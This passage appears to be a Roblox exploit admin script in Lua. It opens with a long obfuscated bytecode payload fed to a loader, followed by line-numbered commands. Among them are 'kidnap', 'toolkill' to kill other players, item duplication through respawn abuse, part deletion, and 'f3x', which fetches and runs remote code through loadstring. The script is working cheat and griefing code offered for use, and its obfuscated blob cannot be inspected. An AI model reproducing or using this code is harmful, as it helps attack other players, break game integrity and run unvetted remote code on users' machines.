060002001217000700033O00121C000800044O000F00060008000200100D00060005000500100D000600063O00100D00060007000100100D00060008000200100D00060009000300301B0006000A000B00100D0006000C000400301B0006000D000E2O000A3O00017O000E3O00FD3O00FD3O00FD3O00FD3O00FD3O00FE3O00FF4O00012O002O012O0002012O0003012O0004012O0005012O0006012O00063O0003083O00496E7374616E63652O033O006E657703043O0057656C6403053O00506172743003053O00506172743103023O00433004093O00121C000400013O002023000400040002001217000500034O001600066O000F00040006000200100D00040004000100100D00040005000200100D0004000600032O000A3O00017O00093O0008012O0008012O0008012O0008012O0008012O0009012O000A012O000B012O000C012O000F3O0003073O0072752O6E696E672O012O033O0065717503023O00686403083O00506F736974696F6E2O033O00486974030A3O00666F756E64706172747303093O00776F726B7370616365030E3O004765745061727473496E50617274026O00F03F00030E3O0046696E6446697273744368696C6403063O00706C6163657203043O006472616703043O006472756E00203O00121C3O00013O0026273O001F0001000200040B3O001F000100121C3O00033O0026273O001F0001000200040B3O001F000100121C3O00044O002600015O00202300010001000600202300010001000500100D3O0005000100121C3O00083O002O205O000900121C000200044O000F3O000200020012033O00073O00121C3O00073O0020235O000A0026093O001F0001000B00040B3O001F000100121C3O00073O0020235O000A002O205O000C0012170002000D4O000F3O000200020026093O001F0001000B00040B3O001F00010012173O000A3O0012033O000E4O00213O00013O0012033O000F4O000A3O00017O00203O0024012O0024012O0024012O0024012O0024012O0024012O0025012O0025012O0025012O0025012O0025012O0026012O0026012O0026012O0026012O0026012O0027012O0027012O0027012O0027012O0027012O0027012O0027012O0027012O0027012O0027012O0027012O0028012O0028012O0029012O0029012O002C012O00043O0003043O0064726167028O00030C3O0054617267657446696C7465722O00053O0012173O00023O0012033O00014O00267O00301B3O000300042O000A3O00017O00053O002E012O002E012O002F012O002F012O0030012O00323O0003073O004B6579436F646503043O00456E756D03013O004203073O0072752O6E696E672O0103053O007072696E7403093O002373746F2O7065642303043O00742O6F6C03073O0044657374726F7903053O00742O6F6C3203053O00742O6F6C3303053O00706169727303043O0067616D6503073O00506C6179657273030B3O004C6F63616C506C6179657203093O00436861726163746572030E3O0047657444657363656E64616E74732O033O0049734103093O00412O63652O736F7279030E3O0046696E6446697273744368696C6403043O0057656C6403063O0048616E646C6503083O00416E63686F72656403043O004E616D65030A3O0043616E436F2O6C696465030A3O0063616E636F2O6C69646503043O0053697A6503073O00566563746F72332O033O006E6577026O66E63F03083O00506F736974696F6E030B3O004F7269656E746174696F6E03043O00722O6F74010003083O0048756D616E6F6964030A3O004175746F526F7461746503043O006472756E03013O00512O033O00616869026O00E03F03013O0045030A3O00666F756E647061727473026O00F03F0003063O00706C6163657203013O005203043O00726F7479025O0080464003013O005403043O00726F7478018E3O00202300013O000100121C000200023O0020230002000200010020230002000200030006150001005B0001000200040B3O005B000100121C000100043O0026270001005B0001000500040B3O005B000100121C000100063O001217000200074O00080001000200012O002100015O001203000100043O00121C000100083O002O200001000100092O000800010002000100121C0001000A3O002O200001000100092O000800010002000100121C0001000B3O002O200001000100092O000800010002000100121C0001000C3O00121C0002000D3O00202300020002000E00202300020002000F002023000200020010002O200002000200112O0019000200036O00013O000300040B3O00530001002O20000600050012001217000800134O000F000600080002002O060006005300013O00040B3O00530001002O20000600050014001217000800154O000F000600080002002O060006005300013O00040B3O00530001002O20000600050014001217000800154O000F000600080002002O200006000600092O0008000600020001002O20000600050014001217000800164O000F00060008000200301B0006001700052O002600065O0020230007000500182O001400060006000700121C0007001A3O00100D0006001900072O002600065O0020230007000500182O00140006000600072O002600075O0020230008000500182O001400070007000800202300070007001B00121C0008001C3O00202300080008001D0012170009001E3O001217000A001E3O001217000B001E4O000F0008000B00022O000E00070007000800100D0006001B00072O002600065O0020230007000500182O001400060006000700202300070005001600202300070007001F00100D0006001F00072O002600065O0020230007000500182O001400060006000700202300070005001600202300070007002000100D00060020000700060C000100200001000200040B3O0020000100121C000100213O00301B0001001700222O0026000100013O00202300010001001000202300010001002300301B00010024000500121C000100253O0026270001008D0001000500040B3O008D000100202300013O000100121C000200023O002023000200020001002023000200020026000615000100670001000200040B3O0067000100121C000100273O00201D000100010028001203000100273O00202300013O000100121C000200023O002023000200020001002023000200020029000615000100700001000200040B3O0070000100121C000100273O00201E000100010028001203000100273O00121C0001002A3O00202300010001002B0026090001008D0001002C00040B3O008D000100121C0001002A3O00202300010001002B002O200001000100140012170003002D4O000F0001000300020026090001008D0001002C00040B3O008D000100202300013O000100121C000200023O00202300020002000100202300020002002E000615000100840001000200040B3O0084000100121C0001002F3O00201E0001000100300012030001002F3O00202300013O000100121C000200023O0020230002000200010020230002000200310006150001008D0001000200040B3O008D000100121C000100323O00201E000100010030001203000100324O000A3O00017O008E3O0038012O0038012O0038012O0038012O0038012O0038012O0039012O0039012O0039012O003A012O003A012O003A012O003B012O003B012O003C012O003C012O003C012O003D012O003D012O003D012O003E012O003E012O003E012O003F012O003F012O003F012O003F012O003F012O003F012O003F012O003F012O003F012O0040012O0040012O0040012O0040012O0040012O0040012O0040012O0040012O0040012O0040012O0041012O0041012O0041012O0041012O0041012O0042012O0042012O0042012O0042012O0043012O0043012O0043012O0043012O0043012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0045012O0045012O0045012O0045012O0045012O0045012O0046012O0046012O0046012O0046012O0046012O0046012O003F012O0047012O0049012O0049012O004A012O004A012O004A012O004A012O004D012O004D012O004D012O004E012O004E012O004E012O004E012O004E012O004E012O004F012O004F012O004F012O0051012O0051012O0051012O0051012O0051012O0051012O0052012O0052012O0052012O0054012O0054012O0054012O0054012O0054012O0054012O0054012O0054012O0054012O0054012O0054012O0055012O0055012O0055012O0055012O0055012O0055012O0056012O0056012O0056012O0058012O0058012O0058012O0058012O0058012O0058012O0059012O0059012O0059012O005D012O0054042O00013O00013O00013O00013O00013O00013O00013O00023O00023O00023O00023O00033O00043O00043O00043O00043O00053O00053O00053O00053O00063O00063O00063O00063O00073O00073O00073O00073O00083O00083O00083O00083O00093O00093O00093O00093O000A3O000A3O000A3O000A3O000B3O000B3O000B3O000B3O000C3O000C3O000C3O000C3O000D3O000D3O000D3O000D3O000E3O000E3O000E3O000E3O000F3O000F3O000F3O000F3O000F3O000F3O000F3O00103O00103O00103O00103O00113O00123O00123O00123O00123O00123O00123O00123O00133O00143O00143O00143O00143O00143O00143O00143O00143O00153O00153O00153O00153O00153O00153O00153O00153O00163O00173O00183O00183O00183O00183O00183O00183O00183O00193O001A3O001A3O001A3O001A3O001A3O001A3O001A3O001A3O001B3O001C3O001D3O001E3O001E3O001E3O001E3O001E3O001E3O001E3O001F3O00203O00203O00203O00203O00203O00203O00203O00203O00213O00213O00213O00213O00213O00213O00213O00213O00223O00223O00223O00223O00233O00243O00243O00243O00243O00243O00243O00243O00253O00263O00273O00283O00293O002A3O002A3O002A3O002A3O002A3O002A3O002A3O002B3O002C3O002C3O002C3O002C3O002C3O002C3O002C3O002C3O002D3O002D3O002D3O002D3O002D3O002D3O002D3O002D3O002E3O002E3O002E3O002E3O002F3O00303O00303O00303O00303O00303O00303O00303O00313O00323O00333O00343O00353O00363O00363O00363O00363O00363O00363O00363O00373O00383O00383O00383O00383O00383O00383O00383O00383O00393O00393O00393O00393O00393O00393O00393O00393O003A3O003A3O003A3O003A3O003B3O003C3O003C3O003C3O003C3O003C3O003C3O003C3O003D3O003E3O003F3O003F3O003F3O003F3O00403O00403O00403O00403O00413O00423O00433O00433O00433O00433O00433O00433O00433O00443O00453O00453O00453O00453O00453O00453O00453O00453O00463O00463O00463O00463O00463O00463O00463O00463O00473O00473O00473O00473O00483O00493O00493O00493O00493O00493O00493O00493O004A3O004B3O004C3O004C3O004C3O004C3O004D3O004D3O004D3O004D3O004E3O004F3O00503O00503O00503O00503O00503O00503O00503O00513O00523O00523O00523O00523O00523O00523O00523O00523O00533O00533O00533O00533O00533O00533O00533O00533O00543O00543O00543O00543O00553O00563O00563O00563O00563O00563O00563O00563O00573O00583O00593O00593O00593O00593O005A3O005A3O005A3O005A3O005B3O005C3O005D3O005D3O005D3O005D3O005D3O005D3O005D3O005E3O005F3O005F3O005F3O005F3O005F3O005F3O005F3O005F3O00603O00603O00603O00603O00603O00603O00603O00603O00613O00613O00613O00613O00623O00633O00633O00633O00633O00633O00633O00633O00643O00653O00663O00663O00663O00663O00673O00673O00673O00673O00683O00693O006A3O006A3O006A3O006A3O006A3O006A3O006A3O006B3O006C3O006C3O006C3O006C3O006C3O006C3O006C3O006C3O006D3O006D3O006D3O006D3O006D3O006D3O006D3O006D3O006E3O006E3O006E3O006E3O006F3O00703O00703O00703O00703O00703O00703O00703O00713O00723O00733O00733O00733O00733O00743O00743O00743O00743O00753O00763O00773O00773O00773O00773O00773O00773O00773O00783O00793O00793O00793O00793O00793O00793O00793O00793O007A3O007A3O007A3O007A3O007A3O007A3O007A3O007A3O007B3O007B3O007B3O007B3O007C3O007D3O007D3O007D3O007D3O007D3O007D3O007D3O007E3O007F3O00803O00803O00803O00803O00813O00813O00813O00813O00823O00823O00823O00823O00833O00843O00843O00843O00843O00843O00843O00843O00853O00853O00853O00853O00853O00853O00853O00863O00873O00873O00873O00873O00873O00873O00873O00873O00883O00883O00883O00883O00883O00883O00883O00883O00893O00893O00893O00893O008A3O008B3O008B3O008B3O008B3O008B3O008B3O008B3O008C3O008D3O008E3O008F3O008F3O00913O00913O008F3O00923O00923O00923O00923O00923O00923O00923O00923O00923O00933O00933O00943O00943O00953O00953O00953O00953O00953O00953O00953O00953O00953O00963O00963O00963O00963O00963O00963O00973O00973O00983O00983O00983O00983O00983O00983O00983O00983O00983O00993O00993O00993O00993O00993O00993O00993O00993O009A3O009A3O009B3O009B3O009B3O009B3O009B3O009C3O009C3O009C3O009C3O009C3O009D3O00A03O00A03O009D3O00A13O00A13O00A13O00A23O00A23O00A23O00A23O00A23O00A23O00A23O00A23O00A23O00A23O00A33O00A33O00A33O00A33O00A33O00A33O00A33O00A33O00A43O00A43O00A43O00A43O00A43O00A43O00A63O00A63O00A43O00A73O00A23O00A73O00A93O00A93O00A93O00AA3O00AA3O00AA3O00AA3O00AB3O00AC3O00AC3O00AC3O00AC3O00AC3O00AC3O00AC3O00AC3O00AC3O00AD3O00AD3O00AD3O00AD3O00AD3O00AE3O00AF3O00AF3O00AF3O00AF3O00AF3O00AC3O00B03O00B23O00B23O00B33O00B33O00B33O00B33O00B43O00B43O00B43O00B43O00B43O00B33O00B43O00B63O00B63O00B63O00B73O00B73O00B73O00B73O00B73O00B73O00B73O00B73O00B73O00B73O00B73O00B83O00B83O00B93O00B93O00B93O00B93O00BA3O00BB3O00BB3O00BC3O00BC3O00BC3O00BC3O00BC3O00BC3O00BC3O00CC3O00CD3O00CD3O00CD3O00CD3O00CD3O00CE3O00CF3O00CF3O00F93O00F93O00F93O00F93O00F93O00FB3O00FB3O00FB3O00FB3O00FB3O0006012O000C012O000D012O000D012O000D012O000E012O000E012O000E012O000F012O000F012O0010012O0010012O0010012O0010012O0010012O0010012O0010012O0011012O0011012O0011012O0011012O0011012O0011012O0011012O0011012O0011012O0012012O0012012O0012012O0012012O0012012O0013012O0013012O0013012O0013012O0013012O0014012O0014012O0014012O0014012O0014012O0015012O0015012O0015012O0015012O0015012O0015012O0015012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0017012O0017012O0018012O0018012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O001A012O001A012O001A012O001A012O001A012O001A012O001A012O001A012O001A012O001A012O001A012O001A012O001A012O001B012O001B012O001B012O001B012O001B012O001B012O001B012O001B012O001B012O001B012O001B012O001B012O001B012O001C012O0011012O001D012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O0020012O0020012O0021012O0021012O0022012O0022012O0023012O0023012O002C012O002C012O0023012O002D012O002D012O0030012O0030012O002D012O0031012O0031012O0032012O0032012O0032012O0033012O0033012O0034012O0034012O0035012O0035012O0036012O0036012O0036012O0036012O0037012O0037012O005D012O005D012O005D012O0037012O005E012O005E012O005E012O005E012O005E012O005F012O005F012O005F012O005F012O005F012O0060012O0060012O0061012O0061012O0063012O0063012O0063012O0064012O0066012O0066012O0066012O0067012O0067012O0067012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006B012O006D012O006D012O006D012O006D012O006D012O006D012O006D012O006D012O006D012O006D012O006E012O006E012O006E012O006E012O006E012O006E012O006E012O006E012O006E012O006E012O0070012O0070012O0070012O0070012O0070012O0070012O0070012O0070012O0070012O0070012O0071012O0071012O0071012O0071012O0071012O0071012O0071012O0071012O0071012O0071012O0071012O0071012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0073012O0073012O0073012O0073012O0075012O0075012O0075012O0075012O0075012O0075012O0075012O0075012O0077012O0077012O0078012O007A012O007A012O007C012O007C012O007C012O007C012O007C012O007D012O007D012O007D012O007F012O007F012O0080012O0082012O0082012O0084012O0084012O0084012O0084012O0084012O0084012O0084012O0084012O0085012O0085012O0085012O0085012O0085012O0085012O0087012O0087012O0087012O0087012O0087012O0088012O0088012O0088012O008A012O008A012O008B012O008D012O008D012O008F012O008F012O008F012O008F012O008F012O008F012O008F012O008F012O0090012O0090012O0090012O0090012O0090012O0090012O0091012O0093012O0093012O0093012O0093012O0093012O0094012O0094012O0094012O0094012O0094012O0095012O0095012O0096012O0097012O00",v8());
794
end)
795
796
cmd.add({"Kidnap"}, {"Kidnap", "Kidnaps a player (Stand near them and press z)"}, function()
797
game.Players.LocalPlayer:GetMouse().KeyDown:connect(function(key)
798
if key == 'z' then
799
local h = game.Players.LocalPlayer.Character.Humanoid:Clone()
800
local plr = game.Players.LocalPlayer.Character
801
local CF = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
802
local lp = game.Players.LocalPlayer
803
804
h.Parent = game.Players.LocalPlayer.Character
805
h.Name = "Hum"
806
807
game.Players.LocalPlayer.Character.Humanoid:Destroy()
808
809
for _,v in pairs(game.Players.LocalPlayer:GetDescendants()) do
810
if v.ClassName == "Tool" then
811
v.Parent = plr
812
end
813
end
814
wait(.5)
815
tweenService, tweenInfo = game:GetService("TweenService"), TweenInfo.new(150, Enum.EasingStyle.Linear)
816
817
tween = tweenService:Create(game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart, tweenInfo, {CFrame = CFrame.new(0, -1000, 0)})
818
tween:Play()
819
end
820
end)
821
end)
822
823
824
cmd.add({"unanchoredbtools"}, {"unanchoredbtools", "Gives some btools options, only works on unanchored parts!"}, function()
825
--[[
826
FE Custom BTools V2 | Script made by Cyclically
827
BTools will only replicate on unanchored parts
828
https://v3rmillion.net/member.php?action=profile&uid=785986
829
Don't edit script unless you know what you're doing. If you wanna add this into a script, please give credits and message me on discord that you added it in a script at Cyclically#4905
830
]]
831
832
local LocalPlayer = game:GetService("Players").LocalPlayer
833
local mouse = LocalPlayer:GetMouse()
834
local movetool = Instance.new("Tool", LocalPlayer.Backpack)
835
local deletetool = Instance.new("Tool", LocalPlayer.Backpack)
836
local undotool = Instance.new("Tool", LocalPlayer.Backpack)
837
local identifytool = Instance.new("Tool", LocalPlayer.Backpack)
838
local movedetect = false
839
local movingpart = nil
840
local movetransparency = 0
841
if editedparts == nil then
842
editedparts = {}
843
parentfix = {}
844
positionfix = {}
845
end
846
deletetool.Name = "Delete"
847
undotool.Name = "Undo"
848
identifytool.Name = "Identify"
849
movetool.Name = "Move"
850
undotool.CanBeDropped = false
851
deletetool.CanBeDropped = false
852
identifytool.CanBeDropped = false
853
movetool.CanBeDropped = false
854
undotool.RequiresHandle = false
855
deletetool.RequiresHandle = false
856
identifytool.RequiresHandle = false
857
movetool.RequiresHandle = false
858
local function createnotification(title, text)
859
game:GetService("StarterGui"):SetCore("SendNotification", {
860
Title = title;
861
Text = text;
862
Duration = 1;
863
})
864
end
865
deletetool.Activated:Connect(function()
866
createnotification("Delete Tool", "You have deleted "..mouse.Target.Name)
867
table.insert(editedparts, mouse.Target)
868
table.insert(parentfix, mouse.Target.Parent)
869
table.insert(positionfix, mouse.Target.CFrame)
870
spawn(function()
871
local deletedpart = mouse.Target
872
repeat
873
deletedpart.Anchored = true
874
deletedpart.CFrame = CFrame.new(1000000000, 1000000000, 1000000000)
875
wait()
876
until deletedpart.CFrame ~= CFrame.new(1000000000, 1000000000, 1000000000)
877
end)
878
end)
879
undotool.Activated:Connect(function()
880
createnotification("Undo Tool", "You have undone "..editedparts[#editedparts].Name)
881
editedparts[#editedparts].Parent = parentfix[#parentfix]
882
editedparts[#editedparts].CFrame = positionfix[#positionfix]
883
table.remove(positionfix, #positionfix)
884
table.remove(editedparts, #editedparts)
885
table.remove(parentfix, #parentfix)
886
end)
887
identifytool.Activated:Connect(function()
888
createnotification("Identify Tool", "Instance: "..mouse.Target.ClassName.."\nName: "..mouse.Target.Name)
889
end)
890
movetool.Activated:Connect(function()
891
createnotification("Move Tool", "You are moving: "..mouse.Target.Name)
892
movingpart = mouse.Target
893
movedetect = true
894
movingpart.CanCollide = false
895
movetransparency = movingpart.Transparency
896
movingpart.Transparency = 0.5
897
mouse.TargetFilter = movingpart
898
table.insert(editedparts, movingpart)
899
table.insert(parentfix, movingpart.Parent)
900
table.insert(positionfix, movingpart.CFrame)
901
movingpart.Transparency = movingpart.Transparency / 2
902
repeat
903
mouse.Move:Wait()
904
movingpart.CFrame = CFrame.new(mouse.Hit.p)
905
until movedetect == false
906
end)
907
movetool.Deactivated:Connect(function()
908
createnotification("Move Tool", "You have stopped moving: "..mouse.Target.Name)
909
movingpart.CanCollide = true
910
movedetect = false
911
mouse.TargetFilter = nil
912
movingpart.Transparency = movetransparenc
913
end)
914
end)
915
916
917
cmd.add({"hatsleash", "hl"}, {"hatsleash", "Makes you be able to carry your hats"}, function()
918
for _, v in pairs(game.Players.LocalPlayer.Character:getChildren()) do
919
if v.ClassName == "Accessory" then
920
for i, k in pairs(v:GetDescendants()) do
921
if k.ClassName == "Attachment" then
922
s = Instance.new("RopeConstraint")
923
k.Parent.CanCollide = true
924
s.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart
925
s.Attachment1 = k
926
s.Attachment0 = game.Players.LocalPlayer.Character.Head.FaceCenterAttachment
927
s.Visible = true
928
s.Length = 10
929
v.Handle.AccessoryWeld:Destroy()
930
end
931
end
932
end
933
end
934
end)
935
936
cmd.add({"toolleash", "tl"}, {"toolleash", "Makes you be able to carry your tools"}, function()
937
for _,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
938
v.Parent = game.Players.LocalPlayer.Character
939
end
940
941
for _,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
942
if v.ClassName == "Tool" then
943
x = Instance.new("Attachment")
944
s = Instance.new("RopeConstraint")
945
v.Handle.CanCollide = true
946
x.Parent = v.Handle
947
s.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart
948
s.Attachment1 = game.Players.LocalPlayer.Character["Right Arm"].RightGripAttachment
949
s.Attachment0 = v.Handle.Attachment
950
s.Length = 100
951
s.Visible = true
952
wait()
953
end
954
end
955
956
for _,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
957
if v.Name == "RightGrip" then
958
v:Destroy()
959
end
960
end
961
962
while wait() do
963
for _,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
964
if v.ClassName == "Tool" then
965
v.Handle.Velocity = Vector3.new(math.random(-100, 100), 5, math.random(-100, 100))
966
end
967
end
968
end
969
end)
970
971
cmd.add({"connectevents", "enableevents"}, {"connectevents <instance> <event>", "Enable the given instance's connections to the event"}, function(objDir, event)
972
local obj = loadstring("return " .. objDir)()
973
local events = getconnections(obj[event])
974
for _, connection in pairs(events) do
975
connection:Enable()
976
end
977
end)
978
979
wrap(function()
980
--i am so not putting an emulator as a command here
981
end)
982
983
--[ LOCALPLAYER ]--
984
local function respawn()
985
character:ClearAllChildren()
986
local newChar = Instance.new("Model", workspace)
987
local hum = Instance.new("Humanoid", newChar)
988
local torso = Instance.new("Part", newChar)
989
newChar.Name = "respawn_"
990
torso.Name = "Torso"
991
torso.Transparency = 1
992
player.Character = newChar
993
newChar:MoveTo(Vector3.new(999999, 999999, 999999))
994
torso.Name = ""
995
torso.CanCollide = false
996
end
997
998
local function refresh()
999
local cf, p = CFrame.new(), character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Head")
1000
if p then
1001
cf = p.CFrame
1002
end
1003
respawn()
1004
player.CharacterAdded:Wait(); wait(0.2);
1005
character:WaitForChild("HumanoidRootPart").CFrame = cf
1006
end
1007
1008
local abort = 0
1009
local function getTools(amt)
1010
if not amt then amt = 1 end
1011
local toolAmount, grabbed = 0, {}
1012
local lastCF = character.PrimaryPart.CFrame
1013
local ab = abort
1014
1015
for i, v in pairs(localPlayer:FindFirstChildWhichIsA("Backpack"):GetChildren()) do
1016
if v:IsA("BackpackItem") then
1017
toolAmount = toolAmount + 1
1018
end
1019
end
1020
if toolAmount >= amt then return localPlayer:FindFirstChildWhichIsA("Backpack"):GetChildren() end
1021
if not localPlayer:FindFirstChildWhichIsA("Backpack"):FindFirstChildWhichIsA("BackpackItem") then return end
1022
1023
repeat
1024
repeat wait() until localPlayer:FindFirstChildWhichIsA("Backpack") or ab ~= abort
1025
backpack = localPlayer:FindFirstChildWhichIsA("Backpack")
1026
wrap(function()
1027
repeat wait() until backpack:FindFirstChildWhichIsA("BackpackItem")
1028
for _, tool in pairs(backpack:GetChildren()) do
1029
if #grabbed >= amt or ab ~= abort then break end
1030
if tool:IsA("BackpackItem") then
1031
tool.Parent = localPlayer
1032
table.insert(grabbed, tool)
1033
end
1034
end
1035
end)
1036
1037
respawn()
1038
wait(.1)
1039
until
1040
#grabbed >= amt or ab ~= abort
1041
1042
repeat wait() until localPlayer.Character and tostring(localPlayer.Character) ~= "respawn_" and localPlayer.Character == character
1043
wait(.2)
1044
1045
repeat wait() until localPlayer:FindFirstChildWhichIsA("Backpack") or ab ~= abort
1046
local backpack = localPlayer:FindFirstChildWhichIsA("Backpack")
1047
for _, tool in pairs(grabbed) do
1048
if tool:IsA("BackpackItem") then
1049
tool.Parent = backpack
1050
end
1051
end
1052
wrap(function()
1053
repeat wait() until character.PrimaryPart
1054
wait(.2)
1055
character:SetPrimaryPartCFrame(lastCF)
1056
end)
1057
wait(.2)
1058
return grabbed
1059
end
1060
1061
cmd.add({"notoolscripts", "nts"}, {"notoolscripts", "Destroy all scripts in backpack"}, function()
1062
local bp = player:FindFirstChildWhichIsA("Backpack")
1063
for _, item in pairs(bp:GetChildren()) do
1064
for _, obj in pairs(item:GetDescendants()) do
1065
if obj:IsA("LocalScript") or obj:IsA("Script") then
1066
obj.Disabled = true
1067
obj:Destroy()
1068
end
1069
end
1070
end
1071
end)
1072
1073
cmd.add({"clonetools", "dupetools"}, {"clonetools [amount]", "Clone your tools by the given amount"}, function(amt)
1074
amt = tonumber(amt) or 1
1075
getTools(math.clamp(amt, 1, 100))
1076
end)
1077
1078
cmd.add({"abort"}, {"abort", "Abort most indefinite operations"}, function(amt)
1079
abort = abort + 1 -- terrifying system
1080
end)
1081
1082
cmd.add({"blockspam"}, {"blockspam [amount]", "Spawn blocks by the given amount"}, function(amt)
1083
amt = tonumber(amt) or 1
1084
local hatAmount, grabbed = 0, {}
1085
local lastCF = character.PrimaryPart.CFrame
1086
character:ClearAllChildren()
1087
respawn()
1088
repeat
1089
if character.Name ~= "respawn_" then
1090
local c = character
1091
repeat wait() until c:FindFirstChildWhichIsA("Accoutrement")
1092
c:MoveTo(lastCF.p)
1093
wait(1)
1094
for i, v in pairs(c:GetChildren()) do
1095
if v:IsA("Accoutrement") then
1096
v:WaitForChild("Handle")
1097
v.Handle.CanCollide = true
1098
if v:FindFirstChildWhichIsA("DataModelMesh", true) then
1099
v:FindFirstChildWhichIsA("DataModelMesh", true):Destroy()
1100
end
1101
v.Parent = workspace
1102
table.insert(grabbed, v)
1103
end
1104
end
1105
hatAmount = hatAmount + 1
1106
end
1107
character:ClearAllChildren()
1108
respawn()
1109
wait()
1110
until
1111
hatAmount >= amt
1112
1113
repeat wait() until tostring(localPlayer.Character) ~= "respawn_" and localPlayer.Character
1114
wait(0.5)
1115
1116
spawn(function()
1117
repeat wait() until character.PrimaryPart
1118
wait(0.2)
1119
character:SetPrimaryPartCFrame(lastCF)
1120
1121
for _, item in pairs(grabbed) do
1122
if item:IsA("Accoutrement") and item:FindFirstChild("Handle") then
1123
item.Parent = workspace
1124
wait()
1125
end
1126
end
1127
end)
1128
end)
1129
1130
cmd.add({"toolblockspam"}, {"toolblockspam [amount]", "Spawn blocks by the given amount"}, function(amt)
1131
if not amt then amt = 1 end
1132
amt = tonumber(amt)
1133
local tools = getTools(amt)
1134
for i, tool in pairs(tools) do
1135
wait()
1136
spawn(function()
1137
wait(0.5)
1138
tool.Parent = character
1139
tool.CanBeDropped = true
1140
wait(0.4)
1141
for _, mesh in pairs(tool:GetDescendants()) do
1142
if mesh:IsA("DataModelMesh") then
1143
mesh:Destroy()
1144
end
1145
end
1146
for _, weld in pairs(character:GetDescendants()) do
1147
if weld.Name == "RightGrip" then
1148
weld:Destroy()
1149
end
1150
end
1151
wait(0.1)
1152
tool.Parent = workspace
1153
end)
1154
end
1155
end)
1156
1157
cmd.add({"clonehats", "dupehats"}, {"clonehats [amount]", "Clone your hats by the given amount"}, function(amt)
1158
amt = tonumber(amt) or 1
1159
local hatAmount, grabbed = 0, {}
1160
local lastCF = character.PrimaryPart.CFrame
1161
character:ClearAllChildren()
1162
respawn()
1163
repeat
1164
if character.Name ~= "respawn_" then
1165
repeat wait() until character:FindFirstChildWhichIsA("Accoutrement")
1166
wait(0.75)
1167
character:MoveTo(lastCF.p)
1168
wait(0.25)
1169
for i, v in pairs(character:GetChildren()) do
1170
if v:IsA("Accoutrement") then
1171
v:WaitForChild("Handle")
1172
v.Parent = workspace
1173
table.insert(grabbed, v)
1174
end
1175
end
1176
hatAmount = hatAmount + 1
1177
end
1178
character:ClearAllChildren()
1179
respawn()
1180
wait()
1181
until
1182
hatAmount >= amt
1183
1184
repeat wait() until tostring(localPlayer.Character) ~= "respawn_" and localPlayer.Character
1185
wait(0.5)
1186
1187
spawn(function()
1188
repeat wait() until character.PrimaryPart
1189
wait(0.2)
1190
character:SetPrimaryPartCFrame(lastCF)
1191
1192
for _, hat in pairs(grabbed) do
1193
if hat:IsA("Accoutrement") and hat:FindFirstChild("Handle") then
1194
hat.Parent = workspace
1195
wait()
1196
end
1197
end
1198
end)
1199
end)
1200
1201
cmd.add({"equiptools", "equipall"}, {"equiptools", "Equip all of your tools"}, function()
1202
game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent = game.Players.LocalPlayer.Character
1203
end)
1204
1205
cmd.add({"f3x", "clientf3x"}, {"f3x", "F3X for trolling"}, function()
1206
loadstring(game:GetObjects("rbxassetid://6695644299")[1].Source)()
1207
end)
1208
1209
cmd.add({"droptools"}, {"droptools", "Drop your equipped tools"}, function()
1210
game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent = game.Workspace
1211
end)
1212
1213
cmd.add({"unequiptools"}, {"unequiptools", "Unequip your equipped tools"}, function()
1214
local h = character:FindFirstChildWhichIsA("Humanoid")
1215
if h then
1216
h:UnequipTools()
1217
end
1218
end)
1219
1220
cmd.add({"notools"}, {"notools", "Remove your tools"}, function()
1221
for _, tool in pairs(character:GetChildren()) do
1222
if tool:IsA("Tool") then
1223
tool:Destroy()
1224
end
1225
end
1226
for _, tool in pairs(localPlayer.Backpack:GetChildren()) do
1227
if tool:IsA("Tool") then
1228
tool:Destroy()
1229
end
1230
end
1231
end)
1232
1233
cmd.add({"toolkill"}, {"toolkill <player>", "Kill the given players without FE god"}, function(p)
1234
local players = argument.getPlayers(p)
1235
local backpack = localPlayer:FindFirstChildWhichIsA("Backpack")
1236
local hum = character:FindFirstChildWhichIsA("Humanoid")
1237
local root = character:FindFirstChild("HumanoidRootPart")
1238
local point = root.CFrame
1239
1240
if not backpack:FindFirstChildWhichIsA("Tool") then
1241
lib.messageOut("toolkill", "Cannot bring players, no tools found")
1242
return
1243
end
1244
1245
if backpack and hum then
1246
local tools = getTools(#players+1)
1247
wait()
1248
for i, v in pairs(tools) do
1249
v.Parent = character
1250
end
1251
wait()
1252
for i, v in pairs(tools) do
1253
v.Parent = workspace
1254
end
1255
wait(.2)
1256
for key, player in pairs(players) do
1257
local target = player.Character
1258
if target and player ~= localPlayer then
1259
root = character:FindFirstChild("HumanoidRootPart")
1260
local assignedTool = tools[key+1]
1261
local handle = assignedTool:FindFirstChild("Handle")
1262
local targetPart = target:FindFirstChild("HumanoidRootPart")
1263
if handle and targetPart then
1264
local schar = character
1265
repeat
1266
wait()
1267
root.CFrame = CFrame.new(900, workspace.FallenPartsDestroyHeight+15, 900)
1268
root.Velocity = Vector3.new(0, 0, 0)
1269
targetPart.CFrame = CFrame.new(root.Position + root.CFrame.rightVector)
1270
until
1271
assignedTool.Parent ~= workspace or localPlayer.Character ~= schar
1272
1273
wait(0.1)
1274
for i, v in pairs(character:GetDescendants()) do
1275
if v.Name:find("Grip") and v:isA("Weld") then
1276
v:Destroy()
1277
